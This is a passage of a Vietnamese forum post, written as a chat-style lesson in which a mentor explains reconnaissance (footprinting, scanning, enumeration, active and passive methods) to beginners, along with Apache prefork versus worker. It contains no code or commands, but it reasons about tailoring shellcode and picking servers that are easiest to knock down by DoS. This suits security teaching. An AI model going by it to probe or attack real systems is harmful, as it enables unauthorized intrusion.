&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' luống  cuống:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi.. thôi.. đi bà. Cho tui xin mà.  Nhưng không cái gì mà 'tìn tìn' trong này. Thôi anh, mình nói chuyện tin học vui  hơn." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cười ré lên:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"hi hi hi, tui đoán mặt ông Duy lúc này đang đỏ  như 'mặt trời bé con' đó. Thôi, tha cho ông một lần đó. Vậy mấy anh em mình nói  chuyện gì đây?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' lúc này mới lên  tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh thấy... anh thấy Như hoạt bát  hông anh? Hay để Như chọn đề tài được đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, anh  thấy 'nhà' em hoạt bát lắm, muốn 'lăng xê' nàng liền hả? Hy vọng sẽ có nhiều  chuyện lý thú đây :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' phát biểu  một câu thật ngắn rồi bỏ dở:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em công nhận  anh nói chuyện 'kinh' thiệt.... [/i] &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cười thích thú:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi, cám ơn anh D gỡ dùm em một quả. Em dám chắc lúc này mặt  bà Như đỏ hơn 'mặt trời bé cha' nữa ;-)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Chỉ qua vài câu đối thoại, bọn tôi đã trở nên thoải mái như đã  quen thân nhau từ lâu. 'docco' hình như muốn cắt ngắn những chuyện cà rỡn để bắt  đầu 'đà khía' những chuyện cu cậu thắc mắc. 'docco' lên tiếng:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi, 'đả qua đả lại' một hồi coi chừng thế  chiến thứ III bắt đầu bây giờ. Mình nói chuyện khác đi hả bà con?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' nói tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em có tham khảo qua các vấn đề thuộc về reconnaissance rồi đó  anh nhưng em thấy có nhiều điểm lờ mờ quá. Em thấy có cái thì gọi là  'enumeration', cái thì gọi là 'interrogation', cái lại gọi là "reconnaissance".  Em thử so sánh thì thấy rằng chúng cùng phục vụ cho mục đích thăm dò. Vậy cái  nào là cái nào đây anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười,  đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hì hì, nhảy ngay vào kỹ thuật hả? Chắc  em sợ mình lại 'lạc đề' sang những chuyện khác chớ gì? Đúng là những thuật ngữ  em liệt kê ra ở đây đều tựu trung vào tinh thần chung: thăm dò.  Reconnaissance dịch sát nghĩa là 'khai thác thông tin' và 'interrogate' và  'enumerate' dính líu trong tiến trình khai thác này. Trong đó, 'interrogate'  dịch sát nghĩa là 'hạch hỏi' và 'enumerate' là 'đếm'. Nắm được những thuật ngữ  này cũng có ích để hiểu sâu từng phân đoạn của quá trình thăm dò. Tuy nhiên, nếu  em cảm thấy bối rối với những thuật ngữ này thì khoan hẵng tìm cách 'dịch' chúng  sang tiếng Việt vì có những từ dịch không được hoặc không đủ lột tả tinh thần.  Cứ tiếp nhận chúng như những thuật ngữ vậy thôi. Sau này em sẽ rõ hơn."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thôi để anh già và Duy đối thoại hén? Em với Hưng ngồi nghe. Có  gì thắc mắc bọn em tham gia sau." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco'  trả lời gọn lỏn:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, vậy càng tốt. Đỡ bị  loãng." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Rồi hỏi tiếp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy tóm lại quá trình thăm dò bao gồm những  bước chính nào vậy anh? Và tại sao phải thực hiện những bước này?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đáng lẽ ra anh phải hỏi em câu hỏi này để giúp em tổng hợp những  gì em đã đọc. Tuy nhiên, em có vẻ khá bối rối với những thuật ngữ kia. Anh e  rằng em đang rối... tùng phè lên trong đó nên để anh tóm tắt luôn vậy.  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Thật ra không có một luật nào bắt buộc phải  thao tác đúng từng bước để phục vụ mục đích thăm dò cả. Tùy mục tiêu và tùy khả  năng phòng bị và thắt chặt của mục tiêu mà khai triển kế hoạch thăm dò cho thích  hợp. Anh nghĩ mình có thể tóm gọn chúng lại thành ba phần chính:  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- tìm dấu ấn (footprinting) --&gt; xác định mục  tiêu tổng quát &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- rà quét (scanning) --&gt; xác  định các dịch vụ tổng quát &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- lấy số liệu cụ thể  (enumerating) --&gt; thu thập thông tin cụ thể. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Em thử suy luận xem, tại sao phải tìm dấu ấn? tại sao phải rà  quét và tại sao phải thu thập thông tin cụ thể?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' rụt rè:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ... em  nói đại nghe? Tìm dấu ấn để xác định hệ điều hành nào mình đang đối diện nhằm  thu hẹp biên độ dò tìm và khai triển bước kế tiếp được chính xác hơn. Còn rà  quét thì em nghĩ... đã tiến tới một bước rất cụ thể là tìm xem có những dịch vụ  nào đang được cung cấp trên mục tiêu mình muốn thăm dò để thiết lập kế hoạch  thâm nhập. Còn lấy số liệu cụ thể... ùmm... à... em không biết nữa."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, cổ vũ 'docco':&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em trả lời hai phần đầu vậy là súc tích và  chính xác lắm rồi. Tất nhiên phần thứ ba là phần lấy kết quả, là phần kết thúc  quá trình thăm dò chớ còn gì nữa em? Bước này càng cụ thể hơn bước thứ nhì là  mình dùng nó để thiết lập bước thâm nhập. Vậy mình có thể thêm vào bảng  liệt kê ở trên như sau: &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- tìm dấu ấn  (footprinting) --&gt; xác định mục tiêu tổng quát --&gt; thu hẹp biên độ thăm dò  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- rà quét (scanning) --&gt; xác định các dịch vụ  tổng quát --&gt; thiết lập kế hoạch thâm nhập &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;-  lấy số liệu cụ thể (enumerating) --&gt; thu thập thông tin cụ thể --&gt; thiết  lập bước thâm nhập &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Em thấy có gì đặc biệt  với bảng liệt kê này không?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' xen  vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Càng lúc càng cụ thể phải không anh?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng rồi đó em. Càng lúc càng cụ thể và càng cụ thể càng tốt.  Thật ra 3 'bước' ở trên có thể kết hợp lại thành 1 'bước', cũng có thể tách rời  ra làm 2 'bước' hoặc mở rộng ra thành... mấy chục bước. Với mục đích dò tìm  thông tin thì miễn sao tìm được thông tin cụ thể và chính xác là được, không  nhất thiết phải theo... 'bước'." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti'  thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng tại sao tìm footprint lại  quan trọng thế anh? Em thấy một web server apache chạy trên Windows 2000 và một  web server apache chạy trên Linux đâu có khác gì đâu anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nếu nhìn một  cách tổng quát trên phương diện người dùng thì nhận định của em không sai nhưng  nếu xét cẩn thận về mặt kỹ thuật thì nhận định của em chưa.... hoàn toàn đúng.  Trên phương diện người dùng, cả hai apache (em đưa ra) đều nhận request, xử lý  request, đều có thể gắn với asp, jsp, php, cgi... để tạo trang động nhưng xét  cho cặn kẽ thì cơ chế quản lý bộ nhớ lẫn cơ chế điều tác process trên hai hệ  điều hành khác nhau rất xa. Những khác biệt này dẫn tới chiến lược phòng thủ hay  tấn công rất khác nhau. Việc nhận diện dấu ấn của mục tiêu không chỉ giúp giới  hạn biên độ thăm dò và khai thác mà nó còn trực tiếp ảnh hưởng đến việc:  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- quyết định 'tấn công' hay 'rút lui' (nói theo  phương diện tấn công) hoặc, &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;- quyết định 'thắt  chặt thêm' hay 'xây dựng lại từ đầu' (nói theo phương diện phòng thủ)."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' vẫn thắc mắc:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em vẫn thấy vấn đề này hơi mù mờ đó anh. Nếu cần tấn công một  webserver apache có chạy php chẳng hạn thì cũng bấy nhiêu kỹ thuật như sql  inject, xss... vậy thì chạy trên Windows hay trên *nix đâu có khác gì?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em nói đúng nhưng cái đúng này bị áp đặt trong một giới hạn khá  hẹp. Tấn công và thâm nhập một dịch vụ (web chẳng hạn) không chỉ dừng lại ở sql  inject và xss. Đây là những kỹ thuật phổ biến và dễ thực hiện, hơn nữa những lỗi  này lại thường thấy nên thường được chú trọng. Nếu 'tấn công' chỉ dừng lại ở chỗ  'chôm' được admin password của một forum hay đưa lên một thông điệp trên một  trang web để 'deface' thì mấy kỹ thuật em đề cập đã đủ dùng. Nếu thế thì phạm vi  reconnaissance ở đây rất nhỏ hoặc không cần thiết nữa. Những điều anh đưa ra ở  đây có thể dùng để ứng dụng nhiều khả năng và kỹ thuật thâm nhập hơn nữa, cho  nên reconnaissance trở nên cần thiết. Ví dụ, em muốn chạy shellcode đến dịch vụ  web của server để lấy một cái 'shell' cho mục đích thâm nhập sâu hơn nhưng không  xác định chính xác hệ điều hành của mục tiêu thâm nhập là gì thì không có cách  gì tạo shellcode được. Lý do, shellcode của mỗi hệ điều hành mỗi khác.  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Nếu mục tiêu thâm nhập càng sâu thì quá  trình reconnaisance đòi hỏi càng phải cẩn thận và chi tiết. Ngay cả những 'màn'  tấn công thuộc loại 'dơ' như DoS chẳng hạn, để thực sự 'giết' mục tiêu mình muốn  DoS, em phải hiểu rất rõ điểm yếu của hệ điều hành và dịch vụ đang chạy. DoS  'chết' một Windows server chạy Apache + php (dùng prefork) và không có database  connection pool nhanh hơn DoS chết một Linux server chạy Apache + jsp (dùng  worker) và có connection pool hẳn hòi. Những chi tiết này ở đâu ra? Đó chính là  kết quả quả 'reconnaissance' đó em. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Năm  ngoái, một server do anh quản lý (chạy Linux) bị mấy 'ông thần' nào đó dùng  'ping of death' để tấn công. Điều buồn cười là dạng 'ping of death' này dành cho  Windows phiên bản cũ, bị lỗi ở phần giới hạn packet size của ICMP làm treo máy  khi bị tấn công. Anh không hiểu sao nhóm này cứ hè nhau mà tấn công Linux server  của anh bằng một thứ công cụ dành để tấn công Windows. Hơn nữa, Linux server của  anh hoàn toàn cản mọi inbound ICMP và UDP. Các gói tin ICMP và UDP chỉ có thể đi  vào khi chúng mang vai trò trả lời cho các request đi từ bên trong Linux server  mà thôi. Điều này có nghĩa những gói ICMP họ 'tia' vào server của anh bị huỷ  ngay khi đụng firewall. Vậy mà nhóm này vẫn nhắm mắt, nhắm mũi 'tia' đến mấy  tiếng liên tục rồi mới chịu ngưng. Tất nhiên dạng tấn công như thế chẳng làm suy  suyển server của anh mảy may nào hết. Điều đáng nói là nguồn tấn công hoàn toàn  đi từ VN ra và điều đáng buồn là những 'ông thần' này không thèm tìm hiểu xem  'ping of death' là gì, thật sự đã tạo ra tác hại gì đến server của anh không. Có  lẽ mấy 'ông thần' này tìm đâu ra mấy cái script viết sẵn trên Internet rồi hè  nhau mà 'ria' vào server của anh chăng?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' lè lưỡi (một biểu tượng được dùng trên YIM) rồi lên  tiếng:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ái chà, bây giờ em mới hiểu lý do  tại sao reconnaissance lại quan trọng như thế. Lúc đọc tài liệu, em cứ ngỡ đây  là những bước cần phải làm cho đúng nguyên tắc và chẳng thấy có phân tích mấu  chốt của reconnaissance là gì hết. Em cũng có đọc sơ sơ qua về shellcoding và  thấy hoàn toàn mù tịt. Còn chuyện mấy 'ông thần' tìm đồ chơi trên mạng rồi đi  'ria' là chuyện thường ngày mà anh? :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh nghĩ sách vở  thường giới thiệu những điểm chung nhất và dễ tiếp nhận nhất. Sau khi thử  nghiệm, tự nhiên em sẽ 'ngộ' ra lý do của từng phân đoạn trong cả một quá trình  thực hiện. Những người càng kinh nghiệm về bảo mật thì bước thăm dò của họ càng  chiếm nhiều thời gian. Đối với một kẻ có chủ trương 'tấn công', hắn phải dò xét  hết sức cẩn thận trước khi bắt tay vào thực hiện ý định của mình để đạt được mục  đích, ít tốn thời gian, ít có cơ hội bị... tóm. Cũng lắm lúc, kẻ này bỏ cuộc vì  sau khi dò xét cẩn thận, hắn cảm thấy không đáng để mất thời gian. Đối với người  phòng thủ, quá trình 'dò xét' lại càng khó hơn bởi vì người phòng thủ phải đặt  mình vào vị trí khách quan, phải test hệ thống của mình y như một 'black box'  thật sự rồi từ đó mới đi đến việc kiện toàn bảo mật." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nhận xét:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Nhưng  làm sao mình có thể dò xét ra một server nào đó đang chạy Windows, dùng php và  dùng prefork chớ không phải nó đang chạy Linux, dùng jsp và dùng worker vậy anh?  Bộ 'reconnaissance' có thể cung cấp thông tin ở mức độ này luôn sao?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Cái này tùy vào khả năng thăm dò của em. Có nhiều yếu tố để giúp  em đi đến chỗ kết luận là mục tiêu thăm dò của em có cái gì. Bởi vậy, như anh đã  nói, giai đoạn reconnaissance có thể là giai đoạn mất thời gian nhất. Riêng chi  tiết Windows chạy apache với php hay Linux chạy apache với jsp thì phần lớn em  cần có một số kiến thức và dùng khả năng suy luận để đưa về một kết luận nào đó  có lý nhất." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' càng thêm tò mò:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy có nghĩa là sao anh? anh nói sâu hơn một tí  được không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hèm... ok, để anh thử tóm gọn xem sao. Nếu em  rành php, em hẳn biết là php trước phiên bản 5.x hoàn toàn không thread-safe.  Ngay cả những người đang dùng php 5.x không không mấy ai 'dám' dùng ở chế độ  'thread-safe' cả. Nếu em dò một website và biết rằng nó chạy bằng php trên  apache, em có thể đoán 99% là nó chạy ở chế độ prefork. Nếu em chịu khó dò thêm  footprint của hệ điều hành và xác định được nó chạy trên Windows server thì em  có thể xác định nó chạy php trên apache với chế độ prefork. Tương tự, nếu  em dò một website và biết nó chạy bằng jsp, em có thể đoán 99% là nó chạy ở chế  độ worker. Nếu xác định được thêm hệ điều hành là Linux thì em càng có thể khẳng  định nó chạy jsp trên apache với chế độ worker. Tất nhiên, thu thập càng  nhiều thông tin, càng giúp em khẳng định phỏng đoán của em chính xác và để thu  thập nhiều thông tin thì 'reconnaissance' càng mất thời gian là vậy. Nên nhớ là  luôn luôn có những sai số trong 'reconnaissance' vì người phòng thủ cố tình dấu  footprint hoặc đánh lừa các công cụ em dùng để lấy footprint. Những sai số này  càng nhiều thì kết quả càng ít đáng tin cậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' gật gù:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hoá ra đây  là cả một nghệ thuật chớ chẳng đùa. Những kiến thức và kinh nghiệm cho việc xác  định 'nó' chạy php hay jsp cũng đủ đã điên cái đầu rồi. Dân không đụng những  chuyện này thì biết đường nào mà mò anh? Như vậy rõ ràng kiến thức có sẵn tuyệt  đối quan trọng. Nếu không có thì ngay cả việc thăm dò cũng không thể được. Biết  gì mà thăm dò?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Lần này 'ccxx' góp  chuyện:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thì bởi, em đọc những mẩu đối thoại  của anh già khó tính và mấy ông tướng này, em thấy anh nhấn mạnh rất nhiều lần  cái gọi là 'ngọn ngành'. Những mẩu thông tin nho nhỏ đều đi từ 'ngọn ngành' ra  phải không anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, đáp:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Đúng đó 'công chúa xinh đẹp' :). Anh có lặp đi  lặp lại nhiều lần: 'muốn bảo vệ hay tấn công, mình phải nắm rõ mục tiêu' là vậy  đó. 'reconnaissance' chính là bước để giúp 'nắm rõ mục tiêu' ở khuôn khổ  'blackbox' vậy." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' xen vào hỏi  thêm:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Khái niệm 'blackbox' là sao anh? Với  lại 'prefork' khác gì với 'worker' vậy anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em chưa từng  nghe qua 'blackbox' và 'whitebox' sao? Sẵn đây mình nên làm quen với khái niệm  này luôn. 'blackbox' chỉ cho hoàn cảnh thử nghiệm một server mình hoàn toàn  không biết gì về nó; mình chỉ ở bên ngoài, chọc ngoáy nó để tìm thông tin mà  thôi. Trong khi đó, 'whitebox' là một server mình nắm rõ nó có những gì, nó hoạt  động ra sao và cung cấp những gì. Những công ty tư vấn về bảo mật thường thử  nghiệm độ bảo mật của hệ thống theo dạng 'blackbox' là chính. Họ không biết gì  về hệ thống của khách hàng cả nhưng họ vận dụng mọi phương tiện để thẩm định độ  bảo mật của hệ thống này. Sau khi hoàn thành giai đoạn 'blackbox' rồi họ mới đi  đến giai đoạn 'whitebox' và mới giới thiệu phương án phòng thủ. 'whitebox' test  thường dùng để thử nghiệm tính năng và hoạt động của hệ thống dựa trên một số  thước đo nào đó. &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;Riêng 'prefork' và 'worker'  thì thế này. Đúng ra mình phải dùng thuật ngữ 'process' và 'thread' thì thích  hợp với tinh thần mình bàn ở đây hơn. Lý do anh dùng 'prefork' và 'worker' là vì  mình đang nói về webserver apache và những thuật ngữ này là những thuật ngữ của  apache. 'prefork' là cơ chế xử lý request của apache bằng cách tạo  process. Process thì thường nặng nề, tốn tài nguyên và kém hiệu xuất  nhưng được một điểm là rất bền, ít bị sự cố. Trong khi đó, 'worker' là cơ chế xử  lý request của apache bằng cách tạo thread. Thread thì nhẹ nhàng, ít hao  tốn tài nguyên hơn, hiệu xuất hơn nhưng lại có nhược điểm là kém bền bỉ, dễ bị  sự cố. Nói trên bình diện bảo mật và đặc biệt là tính hiệu xuất cũng nhưng tính  bền bỉ của một dịch vụ, mỗi chọn lựa đều có điểm ưu và khuyết. Tuỳ nhu cầu và  hoàn cảnh mà chọn cho thích hợp." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti'  diễu:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"He he, đừng bắt bọn em phải học kỹ về  thread và process đó nha anh. Chết tụi em đó :)" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Lại 'bắt' ;-).  Anh chẳng bao giờ 'bắt' em phải làm gì cả. Đến một lúc nào đó, tự nhiên em cảm  thấy cần phải hiểu về 'thread' và 'process' thì tự nhiên em tìm hiểu thôi. Lúc  ấy anh có 'bắt' em không tìm hiểu cũng chả được. Nói đùa vậy thôi, nếu  siêng, em nên tìm hiểu dần dần về 'thread' và 'process'. Theo anh, đây là  một trong những 'đơn vị' nền tảng của những điều em đang làm quen đó."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' cảm thán:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Không ngờ từ chuyện này lại dẫn đến bao nhiêu là chuyện khác.  Đúng là 'bể học mênh mông, dục tốc bất đạt' thật không sai tí nào."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi cười, động viên 'docco':&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thong thả thôi em, việc gì phải 'dục tốc' để  rồi 'bất đạt'? Đừng tham quá mà đi đến chỗ 'bội thực' mà thôi."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' hỏi tiếp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy khái niệm 'active' và 'passive' recconnaissance mà anh đề  cập lần trước liên quan thế nào đến 3 bước ở trên vậy anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi ngẫm nghĩ "chà, các 'bước' là các bước còn 'active'  hay 'passive' là dạng. Làm thế nào để cu cậu đừng lẫn lộn đây nhỉ?", thế  rồi tôi trả lời:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Thế này, 'active' hay  'passive' là các dạng thăm dò, còn 3 bước ở trên là cụ thể các  bước khai triển. Em có thể dùng dạng 'active' hoặc 'passive' hoặc  cả hai dạng này để thực hiện 3 bước ở trên. Đây là mối liên quan mà em  thắc mắc đó." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' nhanh nhảu:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy... ví dụ bước một, khi nào mình dùng  'active', khi nào mình dùng 'passive' anh?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi hỏi ngược lại:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Vậy em  còn nhớ mục đích của việc dùng 'active' và 'passive' để thăm dò không?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'cuti' đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Dạ nhớ chớ anh. 'ative' chính xác hơn nhưng ít kín đáo hơn.  'passive' kín đáo hơn nhưng ít chính xác hơn. Nhưng ý em là trong lúc tìm  footprint, khi nào thì thao tác 'passive', khi nào thì dùng 'active' đó mà."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi chỉnh 'cuti' ngay vì không chịu suy  nghĩ mà chỉ hỏi 'trơn':&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Em vừa trả lời ngay  câu hỏi của em đó thôi. Nếu đã nắm được 'ative' chính xác hơn nhưng ít kín  đáo hơn. 'passive' kín đáo hơn nhưng ít chính xác hơn thì tại sao không dùng  nó mà ứng dụng? Anh nghĩ em nên động não hơn một tí đó Hưng."  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Anh nói đúng đó, ông Hưng này có cái tật dễ thì đâm lười đó anh.  Anh quay ổng như 'dế' thì ổng sẽ động não thôi, đừng trả lời mọi câu hỏi của ổng  là cách hay nhất. Em biết lắm mà :)." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi  cười, đáp:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Ừa, em mà không biết cu Hưng  'lắm' thì còn ai biết nữa em? Thôi... em 'quay nó như dế' dùm anh nha?"  &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'ccxx' cười thích chí:&lt;/i&gt;  &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"Hi hi hi, anh hông biết đó thôi, em quay ổng  như cơm bữa mà không thì 'dễ hoá lười' liền thôi." &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;'docco' có vẻ bồn chồn với những đối thoại thuộc dạng chit  chat, cu cậu xen vào:&lt;/i&gt; &lt;/span&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;"E hèm... hơi bị...  lạc đề á. Anh già ơi, cho em hỏi thêm cái này nha? Có bao nhiêu cách để xác định  footprint vậy anh? Em đọc sách thấy có khá nhiều công cụ, vậy theo anh mình nên  dùng cái nào?" &lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;span class="postbody"&gt;&lt;i&gt;Tôi đáp:&lt;/i&gt;  &lt;/span&gt;
